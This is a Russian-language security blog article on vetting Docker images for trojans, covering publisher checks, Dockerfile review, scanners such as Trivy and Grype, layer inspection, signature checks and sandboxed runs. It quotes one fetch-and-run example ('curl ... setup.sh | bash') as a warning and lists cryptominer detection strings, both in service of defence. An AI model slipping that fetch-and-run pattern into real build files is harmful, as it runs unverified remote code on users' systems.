Как проверить Docker-образ на трояны перед запуском

Вы нашли в интересный образ на Docker Hub — с миллионом загрузок, свежим обновлением и кучей звёзд. Вроде всё красиво. Но перед тем как запустить его у себя на сервере или в CI/CD, стоит задать себе один вопрос: а что внутри на самом деле? Потому что один заражённый образ может обойтись дороже, чем месяцы разработки. В этой статье я расскажу, как реально проверять образы на встроенные трояны и другую заразу — без теории и воды, только практика.

Почему вообще нужно проверять

Docker-образ — это не просто файл. Это целая файловая система с бинарниками, скриптами, библиотеками и, потенциально, чем угодно. Когда вы делаете docker pull и docker run, вы запускаете код от неизвестно кого прямо у себя в окружении.

Основные риски:

  • Известные уязвимости — устаревшие версии библиотек с CVE, через которые можно получить доступ к системе.
  • Вредоносные слои — злоумышленник добавил бэкдор или майнер прямо в Dockerfile или в один из слоёв.
  • Подмена образа — злоумышленник загрузил образ с похожим названием (typosquatting), надеясь, что вы не заметите разницу.
  • Скомпрометированный билд-пайплайн — даже у легитимного проекта могли взять учётку и протолкнуть вредоносный коммит.

Звучит угрожающе, но на практике всё решается комбинацией из нескольких проверок. Разберём по порядку.

Шаг 1. Смотрим, кто опубликовал образ

Первое, на что смотрим — это источник. Это не стопроцентная защита, но отсекает львиную долю проблем.

  • Официальные образы (Verified Publisher или Official Image на Docker Hub) — лучшее, что можно найти. Их поддерживают сами проекты или Docker.
  • Организации с историей — если образ от компании, которую вы знаете, и у неё десятки других проектов — это лучше, чем от аккаунта, созданного вчера.
  • Неизвестные пользователи — красный флаг. Особенно если у них один-два образа и нет никакой активности.

Проверьте дату последнего обновления, количество загрузок, есть ли ссылка на репозиторий с исходниками. Если ссылка ведёт в пустой или мёртвый репозиторий — задумайтесь.

Шаг 2. Изучаем Dockerfile и исходники

Если образ открытый, самое логичное — посмотреть, из чего он собран. Идём в репозиторий (обычно GitHub или GitLab) и открываем Dockerfile.

На что обращаем внимание:

  1. Базовый образ — от чего наследуется? Если это какой-то малоизвестный образ вместо node:18-alpine или python:3.12-slim, уже повод насторожиться.
  2. Что устанавливается — есть ли apt-get install или pip install чего-то неочевидного? Сторонние пакеты без указания версий — плохой знак.
  3. Скрипты при запуске — что делает CMD или ENTRYPOINT? Если при старте скачивается что-то из интернета и сразу выполняется — это классический паттерн заражения.
  4. Необъяснимые слои — добавляются файлы, которые не нужны для работы приложения? Например, бинарник с непонятным именем в /tmp.

Реальный пример: однажды я видел образ, где в одном из слоёв добавлялся curl -s http://some-domain.com/setup.sh | bash прямо в Dockerfile. Никакой проверки контрольной суммы, никакой фиксации версий. Это прямая дорога к трояну — если домен будет перехвачен или уже принадлежит злоумышленнику, ваш контейнер выполнит чужой код при каждом запуске.

Шаг 3. Сканируем на уязвимости

Теперь переходим к автоматической проверке. Есть несколько инструментов, которые просматривают слои образа и ищут известные уязвимости в пакетах и библиотеках.

Основные инструменты сканирования

Инструмент Что делает Когда использовать
Trivy Сканирует образы, файловые системы, Git-репозитории. Ищет CVE, секреты, неправильные конфиги. Универсальный выбор. Подходит для локальной проверки и в CI/CD.
Grype Сканер от Anchore. Сверяет пакеты в образе с базами уязвимостей. Хорошо работает в связке с Syft (анализ SBOM).
Docker Scout Встроенный инструмент Docker. Показывает CVE и рекомендации. Если вы уже используете Docker Desktop или Docker Hub.
Snyk Коммерческий инструмент с бесплатным тарифом. Сканирует образы и Dockerfile. Для команд, которым нужен более широкий контекст и интеграции.

Пример запуска Trivy — самый простой вариант:

  1. Установите Trivy (через brew install trivy, apt install trivy или скачайте бинарник с GitHub).
  2. Запустите trivy image myimage:latest.
  3. Посмотрите на количество найденных уязвимостей по уровням критичности.

Если в образе 100+ критических CVE — это не обязательно троян, но это образ, который точно не стоит запускать в production без серьёзной доработки.

Шаг 4. Ищем вредоносный код и бэкдоры

Сканеры уязвимостей не найдут специально внедрённый троян — он не является «уязвимостью» в классическом смысле. Для этого нужен другой подход.

Инспекция слоёв вручную

Docker-образ состоит из слоёв, и каждый слой можно «распаковать» и посмотреть. Самый простой способ — использовать docker save для экспорта образа в tar-архив, а затем извлечь его:

  1. docker save myimage:latest -o myimage.tar
  2. tar -xf myimage.tar
  3. Внутри будут папки с хешами слоёв — в каждой лежит layer.tar.
  4. Извлекайте слои по одному и смотрите содержимое: tar -xf layer.tar && find . -type f.

Ищите подозрительное:

  • Бинарники в /tmp, /var/tmp, /dev/shm — сюда часто прячут исполняемые файлы.
  • Скрипты, которые при запуске устанавливают соединение с внешним сервером (reverse shell, C2-клиент).
  • Модифицированные системные файлы — например, подменённый sshd или bash.
  • Криптомайнеры — ищите строки с упоминанием stratum, xmr, pool.minexmr.com и подобными.

Автоматический поиск секретов

Часто в образах забывают токены, пароли, приватные ключи. Это не троян, но не менее опасно. Используйте:

  • Trivy с флагом --scanners secret — найдёт API-ключи и токены в слоях.
  • GitLeaks — если исходники образа доступны в Git.
  • TruffleHog — глубокий поиск секретов в файлах и истории Git.

Шаг 5. Проверяем контрольные суммы и подписи

Docker Content Trust (DCT) позволяет подписывать образы, и при включённом режиме Docker будет проверять подпись перед загрузкой.

Включите проверку подписей:

  1. Установите переменную окружения: export DOCKER_CONTENT_TRUST=1
  2. Теперь при docker pull Docker проверит, что образ подписан доверенным издателем.
  3. Если подпись отсутствует или не валидна — загрузка не произойдёт.

Минус — не все образы подписаны. Но если подписан, это серьёзный плюс к доверию.

Также можно самостоятельно сверить хеш образа: docker images --no-trunc --format "{{.Repository}}:{{.Tag}} {{.Digest}}" и сравнить с тем, что указано в репозитории или у издателя.

Шаг 6. Анализ в изолированной среде

Если образ вызывает сомнения, но вы всё же хотите посмотреть, что он делает — запускайте его в песочнице.

  1. Отдельная виртуальная машина или изолированный Docker-хост без доступа к вашей основной сети.
  2. Запустите контейнер с ограниченными привилегиями: docker run --read-only --cap-drop=ALL --network=none myimage:latest
  3. Наблюдайте за поведением: какие процессы запускаются, какие файлы создаются, есть ли сетевые соединения.
  4. Используйте docker diff container_id для просмотра изменённых файлов.

Для более глубокого анализа можно использовать инструменты вроде Sysdig Falco или Tracee — они отслеживают системные вызовы и покажут, если контейнер пытается сделать что-то подозрительное.

Частые ошибки при проверке

  • Проверяю, но не ограничиваю при запуске — даже «чистый» образ нужно запускать с минимальными привилегиями. Без --cap-drop=ALL, безмонтирования /var/run/docker.sock, без --privileged.
  • Смотрю только на количество звёзд — звёзды на Docker Hub легко накрутить. Это не показатель безопасности.
  • Не проверяю базовый образ — даже если ваш Dockerfile идеален, уязвимость может быть в базовом образе. Сканируйте всё дерево зависимостей.
  • Один раз проверил и забыл — уязвимости находятся каждый день. Если вы используете образ в долгосрочном проекте, настройте регулярное пересканирование.
  • Запускаю latest в production — всегда фиксируйте конкретный тег или хеш. latest может измениться в любой момент.

Что делать в зависимости от вашей ситуации

Если вы разработчик и собираете образы сами: используйте многоступенчатые сборки (multi-stage builds), минимизируйте количество слоёв, фиксируйте версии всех зависимостей, сканируйте образы в CI/CD пайплайне. Trivy или Grype легко интегрируются в GitHub Actions, GitLab CI, Jenkins.

Если вы берёте готовые образы из интернета: отдавайте предпочтение официальным образам или проверенным издателям. Всегда проверяйте Dockerfile, сканируйте образ, запускайте с минимальными привилегиями.

Если вы отвечаете за безопасность в компании: настройте приватный Docker Registry с автоматическим сканированием всех загружаемых образов. Блокируйте запуск образов с критическими CVE через политики (OPA, Kyverno, Docker Scout).

Как лучше сделать: чек-лист

  1. Проверьте издателя образа — официальный ли, есть ли история, ссылка на исходники.
  2. Изучите Dockerfile — нет ли подозрительных команд, загрузок из интернета, необъяснимых файлов.
  3. Просканируйте образ через Trivy, Grype или Docker Scout — оцените количество и критичность CVE.
  4. Включите проверку секретов — не забыты ли токены и пароли в слоях.
  5. Включите Docker Content Trust для проверки подписей.
  6. Запускайте контейнер с минимальными привилегиями: --cap-drop=ALL, --read-only, без --privileged.
  7. Настройте регулярное пересканирование, если образ используется долго.

Итог

Проверка Docker-образа на трояны — это не одна магическая команда, а комбинация шагов: проверка источника, анализ Dockerfile, автоматическое сканирование на уязвимости и секреты, проверка подписей, запуск с ограниченными привилегиями. Не все шаги нужно делать каждый раз — для официальных образов от доверенных издателей достаточно сканирования и правильного запуска. Но если образ неизвестный или критически важен — лучше перестраховаться и пройти все этапы.

Начните с малого: установите Trivy и просканируйте все образы, которые сейчас крутятся у вас на серверах. Вы удивитесь, сколько из них тянут за собой сотни уязвимостей. Это и будет первый шаг к тому, чтобы спать спокойнее.

Оцените статью
PEFile — Безопасность и технологии простым языком